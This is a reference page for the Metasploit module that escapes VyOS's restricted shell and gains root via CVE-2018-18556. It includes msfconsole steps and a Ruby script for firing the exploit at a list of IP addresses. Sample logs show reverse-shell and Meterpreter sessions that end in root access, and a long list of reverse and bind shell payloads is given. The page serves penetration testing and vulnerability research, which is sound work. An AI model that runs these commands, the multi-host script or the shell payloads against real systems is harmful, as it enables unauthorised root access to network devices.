VyOS restricted-shell Escape and Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/ssh/vyos_restricted_shell_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VyOS restricted-shell Escape and Privilege Escalation
Module: exploit/linux/ssh/vyos_restricted_shell_privesc
Source code: modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb
Disclosure date: 2018-11-05
Last modification time: 2022-04-18 23:36:23 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2018-18556

This module exploits command injection vulnerabilities and an insecure default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute arbitrary system commands as root. VyOS features a restricted-shell system shell intended for use by low privilege users with operator privileges. This module exploits a vulnerability in the telnet command to break out of the restricted shell, then uses sudo to exploit a command injection vulnerability in /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl to execute commands with root privileges. This module has been tested successfully on VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


Using vyos_restricted_shell_privesc against a single host

Normally, you can use exploit/linux/ssh/vyos_restricted_shell_privesc this way:

msf > use exploit/linux/ssh/vyos_restricted_shell_privesc
msf exploit(vyos_restricted_shell_privesc) > show targets
    ... a list of targets ...
msf exploit(vyos_restricted_shell_privesc) > set TARGET target-id
msf exploit(vyos_restricted_shell_privesc) > show options
    ... show and set options ...
msf exploit(vyos_restricted_shell_privesc) > exploit

Using vyos_restricted_shell_privesc against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your vyos_restricted_shell_privesc will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/ssh/vyos_restricted_shell_privesc")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module exploits command injection vulnerabilities and an insecure default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute arbitrary system commands as root.

VyOS features a restricted-shell system shell intended for use by low privilege users with operator privileges. This module exploits a vulnerability in the telnet command to break out of the restricted shell, then uses sudo to exploit a command injection vulnerability in /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl to execute commands with root privileges.

This module has been tested successfully on VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.

Verification Steps


Download:

  • https://downloads.vyos.io/?dir=release/legacy/

Login as vyos / vyos.

Create a new user with operator privileges:

vyos@vyos:~$ configure
[edit]
vyos@vyos# set system login user jsmith full-name "John Smith"
[edit]
vyos@vyos# set system login user jsmith authentication plaintext-password password
[edit]
vyos@vyos# set system login user jsmith level operator
[edit]
vyos@vyos# commit
s[edit]
vyos@vyos# save
Saving configuration to '/config/config.boot'...
Done

Start the OpenSSH service:

vyos@vyos:~$ sudo sh
sh-4.1# service ssh start
  1. Start msfconsole
  2. Do: use exploit/linux/ssh/vyos_restricted_shell_privesc
  3. Do: set RHOSTS [IP]
  4. Do: set USERNAME [username]
  5. Do: set PASSWORD [password]
  6. Do: set payload [payload]
  7. Do: set LHOST [IP]
  8. Do: exploit

Options


USERNAME

SSH username (default: vyos)

PASSWORD

SSH password (default: vyos)

Scenarios


VyOS 1.1.8 (amd64) - operator user

msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158
rhosts => 172.16.191.158
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username jsmith
username => jsmith
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password password
password => password
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check
[*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected.
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 172.16.191.158:22 - Attempt to login to VyOS SSH ...
[+] SSH connection established
[*] Requesting PTY ...
[+] PTY successfully obtained
[*] Requesting shell ...
[+] Remote shell successfully obtained
[*] Remote system is VyOS
[*] Remote session is using restricted-shell. Attempting breakout to system shell ...
[+] Unrestricted system shell successfully obtained. Sending payload ...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.158:36030) at 2020-09-18 11:30:49 -0400

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux vyos 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux
cat /etc/issue
Welcome to VyOS - \n \l

VyOS 1.1.8 (amd64) - admin user

msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158
rhosts => 172.16.191.158
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username vyos
username => vyos
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password vyos
password => vyos
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check
[*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected.
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 172.16.191.158:22 - Attempt to login to VyOS SSH ...
[+] SSH connection established
[*] Requesting PTY ...
[+] PTY successfully obtained
[*] Requesting shell ...
[+] Remote shell successfully obtained
[*] Remote system is VyOS
[*] Remote session is using unrestricted shell. Launching system shell ...
[+] Unrestricted system shell successfully obtained. Sending payload ...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.158:36103) at 2020-09-18 11:32:49 -0400

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux vyos 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux
cat /etc/issue
Welcome to VyOS - \n \l

Go back to menu.

Msfconsole Usage


Here is how the linux/ssh/vyos_restricted_shell_privesc exploit module looks in the msfconsole:

msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show info

       Name: VyOS restricted-shell Escape and Privilege Escalation
     Module: exploit/linux/ssh/vyos_restricted_shell_privesc
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-11-05

Provided by:
  Rich Mirch
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  vyos             yes       SSH password
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     22               yes       The target port
  USERNAME  vyos             yes       SSH username

Payload information:

Description:
  This module exploits command injection vulnerabilities and an 
  insecure default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 
  to execute arbitrary system commands as root. VyOS features a 
  `restricted-shell` system shell intended for use by low privilege 
  users with operator privileges. This module exploits a vulnerability 
  in the `telnet` command to break out of the restricted shell, then 
  uses sudo to exploit a command injection vulnerability in 
  `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands 
  with root privileges. This module has been tested successfully on 
  VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-18556
  https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases
  https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/
  https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh

Module Options


This is a complete list of options available in the linux/ssh/vyos_restricted_shell_privesc exploit:

msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show options

Module options (exploit/linux/ssh/vyos_restricted_shell_privesc):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  vyos             yes       SSH password
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     22               yes       The target port
   USERNAME  vyos             yes       SSH username

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/ssh/vyos_restricted_shell_privesc exploit:

msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show advanced

Module advanced options (exploit/linux/ssh/vyos_restricted_shell_privesc):

   Name                    Current Setting                          Required  Description
   ----                    ---------------                          --------  -----------
   ContextInformationFile                                           no        The information file that contains context information
   DisablePayloadHandler   false                                    no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                    no        Use transient context when encoding payloads
   GatherProof             false                                    yes       Gather proof of access via pre-session shell commands
   Proxies                                                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSH_DEBUG               false                                    no        Enable SSH debugging output (Extreme verbosity!)
   SSH_IDENT               SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT             15                                       no        Specify the maximum time to negotiate a SSH session
   VERBOSE                 false                                    no        Enable detailed status messages
   WORKSPACE                                                        no        Specify the workspace for this module
   WfsDelay                2                                        no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/ssh/vyos_restricted_shell_privesc module can exploit:

msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/vyos_restricted_shell_privesc exploit:

msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   21  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   22  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   23  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   24  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   25  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   26  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   27  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   28  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   29  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   30  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   31  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   32  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   33  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   34  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   35  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   36  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   37  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   38  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   39  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   40  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   41  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   42  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   43  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   44  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   45  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   46  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   47  payload/generic/custom                                       normal  No     Custom Payload
   48  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   49  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/ssh/vyos_restricted_shell_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

SSH service detected.


Here is a relevant code snippet related to the "SSH service detected." error message:

105:	      return CheckCode::Safe
106:	    rescue Net::SSH::Exception
107:	      return CheckCode::Safe
108:	    end
109:	
110:	    CheckCode::Detected('SSH service detected.')
111:	  end
112:	
113:	  def rhost
114:	    datastore['RHOST']
115:	  end

<RHOST>:<RPORT> SSH - Connection error or address in use


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Connection error or address in use" error message:

148:	      ssh = nil
149:	      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
150:	        ssh = Net::SSH.start(rhost, username, opts)
151:	      end
152:	    rescue Rex::ConnectionError
153:	      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154:	    rescue Net::SSH::Disconnect, ::EOFError
155:	      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156:	    rescue ::Timeout::Error
157:	      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158:	    rescue Net::SSH::AuthenticationFailed

<RHOST>:<RPORT> SSH - Disconnected during negotiation


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:

150:	        ssh = Net::SSH.start(rhost, username, opts)
151:	      end
152:	    rescue Rex::ConnectionError
153:	      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154:	    rescue Net::SSH::Disconnect, ::EOFError
155:	      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156:	    rescue ::Timeout::Error
157:	      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158:	    rescue Net::SSH::AuthenticationFailed
159:	      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160:	    rescue Net::SSH::Exception => e

<RHOST>:<RPORT> SSH - Timed out during negotiation


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:

152:	    rescue Rex::ConnectionError
153:	      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
154:	    rescue Net::SSH::Disconnect, ::EOFError
155:	      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156:	    rescue ::Timeout::Error
157:	      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158:	    rescue Net::SSH::AuthenticationFailed
159:	      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160:	    rescue Net::SSH::Exception => e
161:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162:	    end

<RHOST>:<RPORT> SSH - Authentication failed


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Authentication failed" error message:

154:	    rescue Net::SSH::Disconnect, ::EOFError
155:	      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
156:	    rescue ::Timeout::Error
157:	      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158:	    rescue Net::SSH::AuthenticationFailed
159:	      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160:	    rescue Net::SSH::Exception => e
161:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162:	    end
163:	
164:	    unless ssh

<RHOST>:<RPORT> SSH - Error: <E.CLASS> : <E.MESSAGE>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Error: <E.CLASS> : <E.MESSAGE>" error message:

156:	    rescue ::Timeout::Error
157:	      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
158:	    rescue Net::SSH::AuthenticationFailed
159:	      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
160:	    rescue Net::SSH::Exception => e
161:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162:	    end
163:	
164:	    unless ssh
165:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
166:	    end

<RHOST>:<RPORT> SSH - Session couldn't be established


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Session couldn't be established" error message:

160:	    rescue Net::SSH::Exception => e
161:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
162:	    end
163:	
164:	    unless ssh
165:	      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
166:	    end
167:	
168:	    print_good('SSH connection established')
169:	
170:	    ssh.open_channel do |channel|

<RHOST>:<RPORT> SSH - Could not request PTY


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Could not request PTY" error message:

170:	    ssh.open_channel do |channel|
171:	      print_status('Requesting PTY ...')
172:	
173:	      channel.request_pty do |ch, pty_success|
174:	        unless pty_success
175:	          fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
176:	        end
177:	
178:	        print_good('PTY successfully obtained')
179:	
180:	        print_status('Requesting shell ...')

<RHOST>:<RPORT> SSH - Could not open shell


Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Could not open shell" error message:

179:	
180:	        print_status('Requesting shell ...')
181:	
182:	        ch.send_channel_request('shell') do |_ch, shell_success|
183:	          unless shell_success
184:	            fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
185:	          end
186:	
187:	          print_good('Remote shell successfully obtained')
188:	        end
189:	      end

Remote system is not VyOS


Here is a relevant code snippet related to the "Remote system is not VyOS" error message:

198:	      channel.on_data do |_ch, data|
199:	        return nil if payload_executed
200:	
201:	        unless vyos_check_executed
202:	          unless data.downcase.include?('vyos')
203:	            fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
204:	          end
205:	
206:	          print_status('Remote system is VyOS')
207:	          vyos_check_executed = true
208:	          next

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Rich Mirch
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.